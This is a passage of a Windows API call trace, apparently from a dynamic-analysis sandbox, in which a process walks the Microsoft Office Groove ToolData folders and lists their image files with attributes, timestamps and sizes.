cFileName="VeriSignLogo.jpg", cAlternateFileName="VERISI~1.JPG")) returned 1 [0283.380] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0x0, dwReserved1=0x0, cFileName="VeriSignLogo.jpg", cAlternateFileName="VERISI~1.JPG")) returned 0 [0283.380] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0283.381] GetProcessHeap () returned 0xaf0000 [0283.381] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.381] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolData", cAlternateFileName="")) returned 1 [0283.381] GetProcessHeap () returned 0xaf0000 [0283.381] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.381] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0283.382] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.382] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1983d259, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1983d259, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 1 [0283.382] GetProcessHeap () returned 0xaf0000 [0283.382] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0283.382] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1983d259, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1983d259, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.383] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1983d259, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1983d259, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.383] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198afa29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommonData", cAlternateFileName="COMMON~1")) returned 1 [0283.383] GetProcessHeap () returned 0xaf0000 [0283.383] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0283.384] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198afa29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0283.386] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198afa29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.386] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_Auto.jpg", cAlternateFileName="ALERTI~1.JPG")) returned 1 [0283.386] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_AutoMask.bmp", cAlternateFileName="ALERTI~1.BMP")) returned 1 [0283.387] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19817013, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19817013, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19817013, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3356, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_ContactHigh.jpg", cAlternateFileName="AL8858~1.JPG")) returned 1 [0283.387] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19817013, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19817013, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1983d259, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c70, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_ContactHighMask.bmp", cAlternateFileName="AL2220~1.BMP")) returned 1 [0283.387] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19817013, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19817013, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_ContactLow.jpg", cAlternateFileName="ALERTI~4.JPG")) returned 1 [0283.387] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19817013, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19817013, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19817013, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c70, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_ContactLowMask.bmp", cAlternateFileName="AL1F1D~1.BMP")) returned 1 [0283.387] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19817013, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19817013, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19817013, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x480d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_FileHigh.jpg", cAlternateFileName="ALERTI~3.JPG")) returned 1 [0283.387] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x197cab56, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197cab56, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19817013, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_FileHighMask.bmp", cAlternateFileName="ALERTI~2.BMP")) returned 1 [0283.387] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19817013, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19817013, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19817013, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x46de, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_FileOff.jpg", cAlternateFileName="AL97F4~1.JPG")) returned 1 [0283.387] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19817013, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19817013, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19817013, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_FileOffMask.bmp", cAlternateFileName="ALERTI~4.BMP")) returned 1 [0283.387] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19817013, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19817013, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19817013, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_High.jpg", cAlternateFileName="ALERTI~2.JPG")) returned 1 [0283.388] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19817013, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19817013, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19817013, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_HighMask.bmp", cAlternateFileName="ALERTI~3.BMP")) returned 1 [0283.388] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1983d259, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x41de, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_Medium.jpg", cAlternateFileName="ALF33C~1.JPG")) returned 1 [0283.388] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1983d259, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_MediumMAsk.bmp", cAlternateFileName="AL441A~1.BMP")) returned 1 [0283.388] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198634b7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3e78, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_Off.jpg", cAlternateFileName="AL0F2A~1.JPG")) returned 1 [0283.388] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198634b7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_OffMask.bmp", cAlternateFileName="ALA9A1~1.BMP")) returned 1 [0283.388] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19817013, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19817013, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1983d259, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2256, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsIncomingImage.jpg", cAlternateFileName="COMMSI~1.JPG")) returned 1 [0283.388] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19817013, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19817013, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsIncomingImageMask.bmp", cAlternateFileName="COMMSI~1.BMP")) returned 1 [0283.388] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19817013, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19817013, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1983d259, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x630, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsIncomingImageMaskSmall.bmp", cAlternateFileName="COMMSI~2.BMP")) returned 1 [0283.388] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19817013, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19817013, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1de3, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsIncomingImageSmall.jpg", cAlternateFileName="COMMSI~2.JPG")) returned 1 [0283.388] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1983d259, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x22c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsOutgoingImage.jpg", cAlternateFileName="COMMSO~1.JPG")) returned 1 [0283.389] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19817013, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19817013, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19817013, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsOutgoingImageMask.bmp", cAlternateFileName="COMMSO~1.BMP")) returned 1 [0283.389] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198afa29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198afa29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x630, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsOutgoingImageMaskSmall.bmp", cAlternateFileName="COMMSO~2.BMP")) returned 1 [0283.389] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198634b7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19889710, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1dd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommsOutgoingImageSmall.jpg", cAlternateFileName="COMMSO~2.JPG")) returned 1 [0283.389] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198634b7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2798, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageBoxIconImages.jpg", cAlternateFileName="MESSAG~1.JPG")) returned 1 [0283.389] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198634b7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19889710, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageBoxIconImagesMask.bmp", cAlternateFileName="MESSAG~1.BMP")) returned 1 [0283.389] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198634b7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fec, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnreadIcon.jpg", cAlternateFileName="UNREAD~2.JPG")) returned 1 [0283.389] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198634b7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnreadIconImages.jpg", cAlternateFileName="UNREAD~1.JPG")) returned 1 [0283.389] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnreadIconImagesMask.bmp", cAlternateFileName="UNREAD~1.BMP")) returned 1 [0283.389] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnreadIconImagesMask.bmp", cAlternateFileName="UNREAD~1.BMP")) returned 0 [0283.390] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0283.391] GetProcessHeap () returned 0xaf0000 [0283.391] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0283.391] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 1 [0283.391] GetProcessHeap () returned 0xaf0000 [0283.391] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0283.391] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\Computers\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0283.391] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.392] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198634b7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, 